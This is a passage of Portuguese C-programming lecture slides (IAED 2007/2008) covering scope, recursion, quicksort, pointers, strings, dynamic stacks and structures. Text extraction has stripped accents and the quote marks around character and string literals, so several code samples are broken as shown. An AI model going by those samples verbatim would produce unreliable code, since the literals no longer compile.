st_value[++st_top] = value;
...
}

IAED 2007/2008 p.173/569

Organizao de Programas C
Programas normalmente dividos em vrios ficheiros
Cada ficheiro permite implementar conjunto de
funcionalidades relacionadas
Exemplo: Pilha de Valores Inteiros ficheiro istack.c
/* implementac

ao de pilha de valores */
#define MAXVALUE 1000
int st_value[MAXVALUE];
int st_top;
/* guarda valor na pilha */
void push(int value) { ... }
/* devolve
ultimo valor guardado */
int pop() { ... }
/* verifica se est
a vazio */
int is_emtpy() { ... }
/* verifica se est
a cheio */
int is_full() { ... }

IAED 2007/2008 p.174/569

Regras de Scope
Scope de um nome: parte do programa onde nome
pode ser utilizado
Variveis automticas/parmetros de funes: scope
a funo onde so declarados
Variveis so conhecidas desde o ponto em que so
definidas at ao fim do ficheiro em causa
Variveis externas, utilizadas antes de serem definidas,
ou definidas noutro ficheiro, devero declaradas com a
palavra-chave extern

IAED 2007/2008 p.175/569

Regras de Scope
Uma varivel externa definida quando so indicadas
as propriedades da varivel, e quando so
especificados os seus requisitos em termos de
memria:
int a;

Uma varivel externa declarada quando apenas so


indicadas as suas propriedades:
extern int b;

Uma varivel apenas pode ter uma definio, embora


possa ser declarada vrias vezes
Dimenso de um array obrigatria na definio do
array, mas opcional na declarao
Inicializao de uma varivel externa apenas pode
ter lugar na definio da varivel
IAED 2007/2008 p.176/569

Ficheiros de Cabealho
So utilizados para incluirem todas as declaraes
partilhadas por mais de um ficheiro
Exemplo: Pilha de Valores Inteiros ficheiro istack.h
/* implementac

ao de pilha de valores */
extern int st_value[];
extern int st_top;
/* guarda valor na pilha */
extern void push(int value);
/* devolve
ultimo valor guardado */
extern int pop();
/* verifica se est
a vazio */
extern int is_emtpy();
/* verifica se est
a cheio */
extern int is_full();

IAED 2007/2008 p.177/569

Variveis Estticas
Limita scope de uma varivel entre ponto da definio e
fim do ficheiro onde definio ocorre
Para variveis automticas utilizao do qualificador
static permite manter o valor da varivel entre
chamadas funo
Variveis externas definidas como estticas permitem
limitar o seu scope ao ficheiro em que so definidas
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;

Funes tambm podem ser definidas como estticas:


Limita scope da funo entre ponto da definio e
fim do ficheiro onde definio ocorre

IAED 2007/2008 p.178/569

Exemplo: istack.h
extern
extern
extern
extern

void push(int value);


int pop();
int is_empty();
int is_full();

IAED 2007/2008 p.179/569

Exemplo: istack.c
#include <stdio.h>
#include <stdlib.h>
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
void push(int value)
{
if (st_top >= MAXVALUE-1) {
printf("Stack is full. Terminating...\n"); exit(1);
}
st_value[++st_top] = value;
}
int pop()
{
if (st_top == -1) {
printf("Stack is empty. Terminating...\n"); exit(1);
}
return st_value[st_top--];
}
int is_empty() { return st_top == -1; }
int is_full() { return st_top == MAXVALUE-1; }

IAED 2007/2008 p.180/569

Exemplo: istack.c (Outra Soluo)


#include <stdio.h>
#include <stdlib.h>
#define MAXVALUE 1000
static int st_value[MAXVALUE];
static int st_top = -1;
void push(int value)
{
if (!is_full())
st_value[++st_top] = value;
}
int pop()
{
if (!is_empty())
return st_value[st_top--];
return -1;
}
int is_empty() { return st_top == -1; }
int is_full() { return st_top == MAXVALUE-1; }
IAED 2007/2008 p.181/569

Variveis de Registo
Indicao de que a varivel pretende ser utilizada
extensivamente
Declarao apenas pode ser utilizada em variveis
automticas ou nos parmetros formais de funes
Compete ao compilador utilizar (ou no) informao
sobre variveis de registo
Exemplo:
register int i;
for (i=0; i<valor_max; i++) {
...
}
...

IAED 2007/2008 p.182/569

Estrutura de Blocos
No C no possvel definir funes dentro de outras
funes
O C no uma linguagem baseada em blocos
Definio de variveis pode ser orientada para
estrutura de blocos
Declaraes de variveis podem estar localizadas aps
incio de uma instruo composta
Variveis automticas de um bloco so inicializadas
sempre que bloco executado
Variveis estticas so inicializadas da primeira vez
que o bloco da instruo executado

IAED 2007/2008 p.183/569

Inicializao
Variveis externas e estticas inicializadas a 0
Valor de incializao resultado de expresso
constante
Variveis automticas e de registo inicializadas com
valor indefinido
Expresso que define valor de incializao pode
envolver quaisquer valores j previamente definidos

IAED 2007/2008 p.184/569

Inicializao de Vectores
Vectores podem ser inicializados especificando lista de
valores de inicializao, entre chavetas e separados
por vrgulas
int vect[] = { 1, 3, 5, 7 };

Se dimenso do vector no especificada, ento utiliza


valores de inicializao para definir o tamanho do
vector
Strings podem ser inicializadas como strings ou como
conjuntos de caracteres

IAED 2007/2008 p.185/569

Recurso
Funo recursiva permite ser chamada a partir dela
prpria
Recurso pode ser substituda por iterao
Iterao normalmente mais eficiente
Recurso por vezes mais intuitiva

IAED 2007/2008 p.186/569

Escrever String por Ordem Inversa


/* Func

ao para escrever string por ordem inversa */


void print_string(char v[], int idx)
{
if (v[idx] != \0) {
print_string(v, idx+1);
printf("%c", v[idx]);
}
}

IAED 2007/2008 p.187/569

Procura Binria (Com Recurso)


/* procura_binaria: encontra x em v[0] <= v[1] <= ... <=

v[n-1] */

int procura_binaria(int x, int v[], int m, int n)


{
int mid;
if (m <= n) {
mid = (m + n) / 2;
if (x < v[mid])
return procura_binaria(x, v, m, mid-1);
else if (x > v[mid])
return procura_binaria(x, v, mid+1, n);
else
return mid; /* valor encontrado */
}
return -1; /* n
ao existe */
}

IAED 2007/2008 p.188/569

QuickSort (Com Recurso)


static void swap(int v[], int i, int j)
{
int temp = v[i]; v[i] = v[j]; v[j] = temp;
}
static int partition(int v[], int l, int r)
{
int i = l-1, j = r;
int x = v[r];
for(;;) {
while(v[++i] < x) ;
while(v[--j] > x)
if (j == l) break;
if (i >= j) break;
swap(v, i, j);
}
swap(v, i, r);
return i;
}

(cont.)
IAED 2007/2008 p.189/569

QuickSort (Com Recurso)


...
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int l, int r)
{
int i;
if (l >= r) return;
i = partition(v, l, r);
qsort(v, l, i-1);
qsort(v, i+1, r);
}

IAED 2007/2008 p.190/569

O Preprocessador do C
Incluso de ficheiros:
#include xxx.h

Substituio de macros:
#define max(x,y) ((x) >= (y) ? (x) : (y))

Incluso condicional:
#if !defined HEADER
#define HEADER
...
#endif

IAED 2007/2008 p.191/569

QuickSort (Verso 2)
#define swap(v, i, j) { int temp = v[i]; v[i] = v[j]; v[j] = temp; }
static int partition(int v[], int l, int r)
{
int i = l-1, j = r;
int x = v[r];
for(;;) {
while(v[++i] < x) ;
while(v[--j] > x)
if (j == l) break;
if (i >= j) break;
swap(v, i, j);
}
swap(v, i, r);
return i;
}

(cont.)
IAED 2007/2008 p.192/569

QuickSort (Verso 2)
...
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int l, int r)
{
int i;
if (l >= r) return;
i = partition(v, l, r);
qsort(v, l, i-1);
qsort(v, i+1, r);
}

IAED 2007/2008 p.193/569

QuickSort (Verso 3)
/* qsort: ordenar q[1], ..., q[n] por ordem crescente */
void qsort(int v[], int left, int right)
{
int i, last;
void swap(int v[], int i, int j);
if (left >= right) /* terminar se n de elementos < 2 */
return;
swap(v, left, (left+right)/2); /* definir elemento para particionar */
last = left;
for (i=left+1; i<=right; i++)
if (v[i] < v[left])
swap(v, ++last, i);
swap(v, left, last); /* recolocar elemento utilizado na partic

ao */
qsort(v, left, last);
qsort(v, last+1, right);
}

IAED 2007/2008 p.194/569

Problema Fila de Inteiros


Definir a estrutura de dados e as funes para
implementar uma fila de inteiros

IAED 2007/2008 p.195/569

Implementao de Fila de Inteiros


#define MAXQUEUE 10
static int iqueue[MAXQUEUE];
static int put_idx = 0;
static int get_idx = 0;
void queue(int value)
{
iqueue[put_idx++] = value;
if (put_idx == MAXQUEUE) put_idx = 0;
}
int dequeue()
{
int rvalue = iqueue[get_idx++];
if (get_idx == MAXQUEUE) get_idx = 0;
return rvalue;
}
int is_full()
{
return (put_idx==get_idx-1) || (get_idx==0 && put_idx==MAXQUEUE-1);
}
int is_empty() { return put_idx == get_idx; }
IAED 2007/2008 p.196/569

Fila Generalizada de Inteiros


Implementar uma estrutura de dados que permite as
seguintes operaes:
push(int):
Coloca valor no fim da fila de valores
pop:
Retira valor do fim da fila de valores
unshift(int):
Coloca valor no incio da fila de valores
shift:
Retira valor do incio da fila de valores
is_empty():
Indica se a fila est vazia
is_full():
Indica se a fila est cheia
IAED 2007/2008 p.197/569

Parte V
K&R Cap. 5

IAED 2007/2008 p.198/569

Ponteiros e tabelas
Endereos e ponteiros

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros
Argumentos da linha de comandos

IAED 2007/2008 p.199/569

Ponteiros e tabelas
Endereos e ponteiros
Ponteiros e argumentos de funes
Ponteiros e tabelas
Aritmtica de endereos
Ponteiros para caracteres
Tabelas de ponteiros e ponteiros para ponteiros
Tabelas multi-dimensionais
Inicializao de tabelas de ponteiros
Argumentos da linha de comandos
Ponteiros para funes

IAED 2007/2008 p.199/569

Ponteiros e endereos
Um ponteiro representa um endereo de memria
O operador unrio & aplicado a x representa o
endereo de x
#include <stdio.h>

main ()
{
int y,x=3;
int *px = &x;
y = *px;
*px = 0;
printf("%d %d\n",x,y);
}

IAED 2007/2008 p.200/569

Utilizao de ponteiros
*px

pode ser usado em vez de x

A declarao int *xpto() significa que xpto() retorna um


ponteiro para um inteiro
A declarao void abcd(char *) significa que a funo abcd
aceita como argumento um ponteiro para caracteres
A prioridade de & e * superior dos operadores
aritmticos
y = *px + 1
++*px

funciona como esperado

incrementa o valor de x

(*px)++

(os parnteses so necessrios)

IAED 2007/2008 p.201/569

Passagem de parmetros para funes


Em C, os parmetros so passados por valor
swap(int a, int b)
{
int aux;
aux = a;
a = b;
b = aux;
}

No funciona como pretendido

IAED 2007/2008 p.202/569

Passagem de parmetros por referncia


Passagem por referncia consegue-se enviando os
endereos
swap(int *a, int *b)
{
int aux;
aux = *a;
*a = *b;
*b = aux;
}

Chamada dever ser swap(&x, &y)

IAED 2007/2008 p.203/569

Leitura de um inteiro
#include <ctype.h>
#include <stdio.h>
int getch(void);
void ungetch(int);
/* getint: get next integer from input into *pn */
int getint(int *pn) {
int c, sign;
while (isspace(c = getch())) ; /* skip white space */
if (!isdigit(c) && c != EOF && c != + && c != -) {
ungetch(c); /* it is not a number */
return 0;
}
sign = (c == -) ? -1 : 1;
if (c == + || c == -) c = getch();
for (*pn = 0; isdigit(c); c = getch())
*pn = 10 * *pn + (c - 0);
*pn *= sign;
if (c != EOF) ungetch(c);
return c;
IAED 2007/2008 p.204/569
}

Ponteiros e tabelas
Em C, existe uma relao entre ponteiros e tabelas
int
int
int
int

a[10];
*pa;
x;
i = 3;

pa = &a[0];
x = *pa;
x = *(pa+1);
x = *(pa+i);

/*
/*
/*
/*

pa fica a apontar para a[0] */


Copia o conte
udo de a[0] para x */
Copia para x o conte
udo de a[1] */
Copia para x o conte
udo de a[i] */

strlen(Hello world); /* string constant */


strlen(arr); /* char array[100] */
strlen(ptr); /* char *ptr */
IAED 2007/2008 p.205/569

Exemplo
/* strlen: return length of string s */
int strlen(char *s)
{
int n;
for (n = 0; *s != \0; s++)
n++;
return n;
}

IAED 2007/2008 p.206/569

Representao do endereo zero


Ponteiro especial para representar zero.
int

*y;

y = NULL;
...
if (!y) { /* problem handling code */ ...

IAED 2007/2008 p.207/569

Ponteiros e tabelas
A declarao int *p; declara o mesmo que int p[];
A declarao int p[100]; declara uma tabela com 100
inteiros;
A declarao int *p no aloca qualquer espao;
A funo malloc(int size) aloca um espao de dimenso
size

A declarao int *p = malloc(100*sizeof(int)); equivalente


a int p[100];
O espao pode ser libertado com a chamada free(p);

IAED 2007/2008 p.208/569

Ponteiros para caracteres


Uma constante do tipo string "Hello world" uma tabela
de caracteres
char *pmessage;
pmessage = "Hello world";
/* Copia apenas os ponteiros */

As declaraes
char amessage[] = "Hello world";
char *pmessage = "Hello world";

So diferentes. Porqu ?
IAED 2007/2008 p.209/569

Ponteiros para caracteres


/* strcpy: copy t to s; array subscript version */
void strcpy(char *s, char *t) {
int i;
i = 0;
while ((s[i] = t[i]) != \0)
i++;
}
/* strcpy: copy t to s; pointer version */
void strcpy(char *s, char *t) {
while ((*s = *t) != \0) {
s++;
t++;
}
}

IAED 2007/2008 p.210/569

Strcpy: verso 3
/* strcpy: copy t to s; pointer version 2 */
void strcpy(char *s, char *t) {
while ((*s++ = *t++));
}

IAED 2007/2008 p.211/569

Mais funes para strings


/* strcmp: return <0 if s<t, 0 if s==t, >0 if s>t */
int strcmp(char *s, char *t)
{
for ( ; *s == *t; s++, t++)
if (*s == 0)
return 0;
return *s - *t;
}

IAED 2007/2008 p.212/569

Tabelas de ponteiros
Exemplo: ordenao de cadeias de caracteres
Usa-se mesmo algoritmo que para ordenao de
inteiros
Evita-se copiar strings usando tabelas de ponteiros
Usa-se mesmo algoritmo que para ordenao de
inteiros
Evita-se copiar strings usando tabelas de ponteiros
int i;
/* Representa uma tabela de ponteiros para caracteres */
char *lineptr[MAXLINES];
readlines(lineptr,MAXLINES);
for (i=0; i< MAXLINES; i++)
printf("Linha %d
e %s\n",i,lineptr[i]);
IAED 2007/2008 p.213/569

Ler e guardar linhas


/* readlines: l
e linhas de entrada */
int readlines(char *lineptr[], int maxlines)
{
int len, nlines;
char *p, line[MAXLEN];
nlines = 0;
while ((len = getline(line, MAXLEN)) > 0)
if (nlines >= maxlines || (p = malloc(len)) == NULL)
return -1;
else {
line[len-1] = \0; /* delete newline */
strcpy(p, line);
lineptr[nlines++] = p;
}
return nlines;
}

IAED 2007/2008 p.214/569

Ler, ordenar e imprimir linhas


#include <stdio.h>
#include <string.h>
#define MAXLINES 5000
char *lineptr[MAXLINES];
/* Tabela de ponteiros */
int
readlines(char *lineptr[], int nlines);
void writelines(char *lineptr[], int nlines);
void qsort(char *lineptr[], int left, int right);
main() {
int nlines;
if((nlines = readlines(lineptr, MAXLINES)) >= 0){
qsort(lineptr, 0, nlines-1);
writelines(lineptr, nlines);
return 0;
} else {
printf("error: input too big to sort\n");
return 1;
}
}
IAED 2007/2008 p.215/569

Quick sort para strings


void qsort(char *v[], int left, int right)
{
int i, last;
void swap(char *v[], int i, int j);
if(left >= right)
return;
swap(v, left, (left + right)/2);
last = left;
for(i = left+1; i <= right; i++)
if(strcmp(v[i], v[left]) < 0)
swap(v, ++last, i);
swap(v, left, last);
qsort(v, left, last-1);
qsort(v, last+1, right);
}

IAED 2007/2008 p.216/569

Troca e impresso de linhas


/* swap: swap v[i] and v[j] */
void swap(char *v[], int i, int j)
{
char *tmp;
tmp = v[i];
v[i] = v[j];
v[j] = tmp;
}
void writelines(char *lineptr[], int nlines)
{
int i;
for(i=0; i<nlines; i++)
printf("%s\n", lineptr[i]);
}

IAED 2007/2008 p.217/569

Tabelas multi-dimensionais
A declarao int x[NROWS][NCOLS] declara uma matriz
equivalente a int *x[NCOLS]
Elemento na linha i e coluna j x[i][j]
int x[NROWS][NCOLS]
int *x[NCOLS]

aloca o espao NROWS*NCOLS

aloca o espao para NCOLS ponteiros

Na prtica, ponteiros para tabelas so mais usados


Qualquer nmero de dimenses pode ser usado
Primeira dimenso pode no ser especificada

IAED 2007/2008 p.218/569

Inicializao de tabelas de ponteiros


/* month_name: devolve nome do i-
esimo m
es */
char *month_name(int n)
{
/* Inicializa tabela de ponteiros */
static char *name[] = {
"Illegal month",
"January", "February", "March",
"April", "May", "June",
"July", "August", "September",
"October", "November", "December"
};
return (n < 1 || n > 12) ? name[0] : name[n];
}

IAED 2007/2008 p.219/569

Argumentos da linha de comandos


argv[0]

o nome do programa

argv[i]

i-simo argumento

Programa "echo"
echo hello world

gera hello world

main(int argc, char *argv[]) {


int i;
for(i=1; i<argc; i++)
printf("%s ",argv[i]);
printf("\n");
return 0;
}
IAED 2007/2008 p.220/569

Ponteiros para funes


possvel declarar ponteiros para funes
Uma funo pode ser passada como argumento para
outra
/* Func

ao qsort gen
erica */
void qsort(char *v[],int left, int right, int (*comp)(char *,
...

char *);

if ((*comp)(v[i],v[j])) {
...
}
o qsort */
/* Uso da func
a
char *lineptr[MAXLINES];
/* Tabela de ponteiros */
int strcmp(char *, char *);
...
qsort(lineptr, 0, nlines-1, strcmp); /*Func

ao strcmp como argumento*/


IAED 2007/2008 p.221/569

Multiplicao de Matrizes
#include <stdlib.h>
#define MATDIM 500
int matA[MATDIM][MATDIM], matB[MATDIM][MATDIM], matC[MATDIM][MATDIM];
void init()
{
int i, j;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
matA[i][j] = i+j; matB[i][j] = i-j;
}
}
void prod()
{
/* func

ao para multiplicar matrizes A e B */


}

(cont.)

IAED 2007/2008 p.222/569

Multiplicao de Matrizes
int sum()
{
int i, j, sum = 0;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j)
sum += matC[i][j];
return sum;
}
main()
{
init();
prod();
printf("Soma: %d\n", sum());
}

IAED 2007/2008 p.223/569

Verso 1
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
matC[i][j] = 0;
for (k=0; k<MATDIM; ++k)
matC[i][j] += matA[i][k] * matB[k][j];
}
}

IAED 2007/2008 p.224/569

Verso 2
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * matB[k][j];
}
}
}

IAED 2007/2008 p.225/569

Verso 3 Com Novo init()


void init()
{
int i, j;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
matA[i][j] = i+j;
matB[j][i] = i-j;
}
}
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i)
for (j=0; j<MATDIM; ++j) {
int *pA = &(matA[i][0]);
int *pB = &(matB[j][0]);
int *pC = &(matC[i][j]); *pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA++) * *(pB++);
}
}

IAED 2007/2008 p.226/569

Verso 4
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
int *pA = &(matA[i][0]);
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
int *pB = &(matB[j][0]);
*pC = 0;
for (k=0; k<MATDIM; ++k)
*pC += *(pA+k) * *(pB+k);
}
}
}

IAED 2007/2008 p.227/569

Verso 5
void prod()
{
int i, j, k;
for (i=0; i<MATDIM; ++i) {
for (j=0; j<MATDIM; ++j) {
int *pC = &(matC[i][j]);
int *pA = &(matA[i][0]);
int *pB = &(matB[j][0]);
int *pF = pA + MATDIM;
*pC = 0;
for (; pA<pF; ) {
*pC += *(pA++) * *(pB++);
}
}
}
}

IAED 2007/2008 p.228/569

Tempos de Execuo
Verso 1: 1.74s
Verso 2: 1.96s
Verso 3: 0.55s
Verso 4: 0.55s
Verso 5: 0.54s

IAED 2007/2008 p.229/569

Stack de Inteiros com Tabela Dinmica


Utilizar tabela dinmica para implementar stack de
valores inteiros com tamanho arbitrrio

IAED 2007/2008 p.230/569

istack.h
extern
extern
extern
extern

void st_init();
void st_push(int value);
int st_pop();
int st_is_empty();

IAED 2007/2008 p.231/569

istack.c Verso 1
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int st_top;
static int st_max;
static void increase_stack_size()
{
int i, *ptmp = st_value, *pa, *pb, *pf;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value, pf=st_value+st_top; pb<=pf; )
*(pb++) = *(pa++);
free(ptmp);
}

(cont.)
IAED 2007/2008 p.232/569

istack.c Verso 1
void st_init()
{
st_top = -1;
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
}
void st_push(int value)
{
if (st_top >= st_max-1) increase_stack_size();
st_value[++st_top] = value;
}
int st_pop()
{
if (!st_is_empty()) return st_value[st_top--];
return -1;
}
int st_is_empty() {
return st_top == -1;
}
IAED 2007/2008 p.233/569

istack.c Verso 2
#include <stdlib.h>
#define MAXVALUE 5
static int *st_value;
static int *st_sup;
static int st_max;
static void increase_stack_size()
{
int i, *ptmp = st_value, *pa, *pb;
int diff = st_sup - st_value;
st_max = 2 * st_max;
st_value = (int*) malloc(st_max * sizeof(int));
for (pa=ptmp, pb=st_value; pa<st_sup; )
*(pb++) = *(pa++);
free(ptmp);
st_sup = st_value + diff;
}
IAED 2007/2008 p.234/569

istack.c Verso 2
void st_init()
{
st_max = MAXVALUE;
st_value = (int*) malloc(st_max*sizeof(int));
st_sup = st_value;
}
void st_push(int value)
{
if (st_sup == st_value+st_max)
increase_stack_size();
*(st_sup++) = value;
}
int st_pop()
{
if (!st_is_empty()) return *(--st_sup);
return -1;
}
int st_is_empty() {
return st_sup == st_value;
}
IAED 2007/2008 p.235/569

IAED 2007/2008 p.236/569

Parte VI
K&R Cap. 6

IAED 2007/2008 p.237/569

Estruturas
Introduo s Estruturas
Estruturas e Funes
Vectores de Estruturas
Apontadores para Estruturas
Estruturas Auto-Referenciadas
Typedef
Exemplos:
Tpicos: Unions e Bit-Fields

IAED 2007/2008 p.238/569

Introduo
As estruturas permitem definir estruturas de dados
sofisticadas, as quais possibilitam a agregao de
diferentes tipos de declaraes
Exemplo:
struct point {
int x;
int y;
}

possvel declararar variveis do tipo estrutura


struct point x, z;

possvel manipular os campos de variveis do tipo


estrutura
x.x
x.y
z.x
z.y

=
=
=
=

1;
2;
10;
20;
IAED 2007/2008 p.239/569

Operaes sobre Estruturas


Declarao:
struct point {
int x;
int y;
}

Introduz um novo tipo de dados


Definio:
struct point z;

Define a varivel z como uma estrutura do tipo struct


point
Inicializao: tipo nome = { valores }
struct point z = { 100, 200 };

IAED 2007/2008 p.240/569

Operaes sobre Estruturas


Manipulao: nome-estrutura.membro
z.x = 125; z.y = 500;

Estruturas podem incluir estruturas:


struct rect {
struct point a, b;
};
struct rect p;
...
p.a.x = 25;
p.b.y = 32;

Operaes vlidas: cpia, atribuio como entidade,


acesso ao endereo ou acesso aos seus membros
Cpia e atribuio incluem passagem de parmetros
para funes e retorno de valores de funes
Estruturas no podem ser comparadas

IAED 2007/2008 p.241/569

Estruturas e Funes
Funes podem retornar estruturas:
struct point makepoint(int x, int y)
{
struct point temp;
temp.x = x;
temp.y = y;
return temp;
}

Funo retorna cpia da estrutura temp

IAED 2007/2008 p.242/569

Estruturas e Funes
Passagem de estruturas como parmetros feita por
valor:
struct point addpoint(struct point p1, struct point p2)
{
p1.x += p2.x;
p1.y += p2.y;
return p1;
}

Chamada addpoint(pa, pb) no altera valores


da estrutura pa

IAED 2007/2008 p.243/569

Estruturas, Funes e Ponteiros


Passagem de estruturas grandes como parmetros
ineficiente
Utilizam-se normalmente ponteiros para estruturas:
struct point origin, *pp;
pp = &origin;
printf(Origem: (%d, %d)\n, (*pp).x, (*pp).y);

Notao (*pointer).struct-member pode ser


substituda por pointer->struct-member
struct point origin, *pp;
pp = &origin;
printf(Origem: (%d, %d)\n, pp->x, pp->y);

IAED 2007/2008 p.244/569

Vectores de Estruturas
Permitem representar conjuntos de dados agregados:
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[NKEYS]; /* Vector de estruturas */
ou,
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
};
struct key keytab[NKEYS]; /* Vector de estruturas */

IAED 2007/2008 p.245/569

Vectores de Estruturas
Inicializao:
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[] = {
{ auto, 0 },
{ break, 0 },
{ case, 0 },
...
};

Chavetas interiores desnecessrias na inicializao


de estruturas compostas apenas por variveis
simples ou strings

IAED 2007/2008 p.246/569

Contador de Palavras Chave


Escrever um programa em C que conta o nmero de
ocorrncias de cada palavra-chave da linguagem C
#include <stdio.h>
#include <ctype.h>
#include <string.h>
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[] = {
{ "auto", 0 },
{ "break", 0 },
...
};
#define NKEYS 24
#define MAXWORD 100
int getword(char *, int);
int binsearch(char *, struct key *, int);
IAED 2007/2008 p.247/569

Contador de Palavras Chave


main() /* count "C" keywords */
{
int n;
char word[MAXWORD];
while (getword(word, MAXWORD) != EOF)
if (isalpha(word[0]))
if((n = binsearch(word, keytab, NKEYS)) >= 0)
keytab[n].count++;
for (n=0; n < NKEYS; n++)
if (keytab[n].count > 0)
printf("%4d %s\n", keytab[n].count, keytab[n].word);
}

IAED 2007/2008 p.248/569

Contador de Palavras Chave


/* find word in tab[0]...tab[n-1] */
int binsearch(char *word, struct key tab[], int n)
{
int low, high, mid, cond;
low = 0;
high = n - 1;
while (low <= high) {
mid = (low+high) / 2;
if((cond = strcmp(word, tab[mid].word)) < 0)
high = mid - 1;
else if (cond > 0)
low = mid + 1;
else
return mid;
}
return -1;
}

IAED 2007/2008 p.249/569

Contador de Palavras Chave


int getword(char *word, int lim) /* get next word from input */
{
int c;
char *w = word;
while (isspace(c = getc(stdin)))
;
if (c != EOF)
*w++ = c;
if (!isalpha(c)) {
*w = \0;
return c;
}
for (; --lim > 0; w++)
if (!isalnum(*w = getc(stdin))) {
ungetc(*w, stdin);
break;
}
*w = \0;
return word[0];
}
IAED 2007/2008 p.250/569

Apontadores para Estruturas


Escrever um programa em C que conta o nmero de
ocorrncias de cada palavra-chave da linguagem C,
utilizando apontadores para estruturas
#include <stdio.h>
#include <ctype.h>
#include <string.h>
struct key {
char *word;
/* palavra-chave */
int count;
/* # ocorr
encias de palavra-chave */
} keytab[] = {
{ "auto", 0 },
{ "break", 0 },
...
};
#define NKEYS 24
#define MAXWORD 100
int getword(char *, int);
struct key *binsearch(char *, struct key *, int);
IAED 2007/2008 p.251/569

Apontadores para Estruturas


main() /* count "C" keywords */
{
char word[MAXWORD];
struct key *p;
while (getword(word, MAXWORD) != EOF)
if (isalpha(word[0]))
if((p = binsearch(word, keytab, NKEYS)) != NULL)
p->count++;
for (p=keytab; p < keytab+NKEYS; p++)
if (p->count > 0)
printf("%4d %s\n", p->count, p->word);
}

IAED 2007/2008 p.252/569

Apontadores para Estruturas


/* find word in tab[0]...tab[n-1] */
struct key *binsearch(char *word, struct key tab[], int n)
{
int cond;
struct key *low = &tab[0];
struct key *high = &tab[n]; /* valid address */
struct key *mid;
while (low < high) {
mid = low + (high-low) / 2; /* cannot add pointers, just subtract */
if((cond = strcmp(word, mid->word)) < 0)
high = mid;
else if (cond > 0)
low = mid + 1;
else
return mid;
}
return NULL;
}
IAED 2007/2008 p.253/569

Apontadores para Estruturas


int getword(char *word, int lim) /* get next word from input */
{
int c;
char *w = word;
while (isspace(c = getc(stdin)))
;
if (c != EOF)
*w++ = c;
if (!isalpha(c)) {
*w = \0;
return c;
}
for (; --lim > 0; w++)
if (!isalnum(*w = getc(stdin))) {
ungetc(*w, stdin);
break;
}
*w = \0;
return word[0];
}

IAED 2007/2008 p.254/569

Operaes Vlidas com Ponteiros


Recapitular:
Atribuies entre ponteiros do mesmo tipo
Somar inteiro a ponteiro
Subtrair inteiro a ponteiro
Subtrair dois ponteiros (num mesmo vector)
Comparar dois ponteiros (num mesmo vector)
Atribuio e comparao com 0

IAED 2007/2008 p.255/569

Estruturas Auto-Referenciadas
As estruturas auto-referenciadas permitem criar
estruturas de dados dinmicas, utilizando ponteiros:
listas (simplesmente e duplamente ligadas), rvores,
tabelas de disperso, etc.
Um exemplo:
Implementar pilha de valores inteiros utilizando
ponteiros e estruturas

IAED 2007/2008 p.256/569

istack.h
extern
extern
extern
extern

void init();
int is_empty();
void push(int value);
int pop();

IAED 2007/2008 p.257/569

istack.c
#include <stdio.h>
#include <stdlib.h>
struct iitem {
int value;
struct iitem *next;
};
static struct iitem *top = NULL;
static struct iitem *alloc_item()
{
return (struct iitem *) malloc(sizeof(struct iitem));
}
void init() { top = NULL; }
int is_empty() { return top == NULL; }

IAED 2007/2008 p.258/569

istack.c
void push(int value)
{
struct iitem *nitem = alloc_item();
nitem->value = value;
nitem->next = top;
top = nitem;
}
int pop()
{
if (!is_empty()) {
int rvalue = top->value;
struct iitem *ptmp = top;
top = top->next;
free(ptmp);
return rvalue;
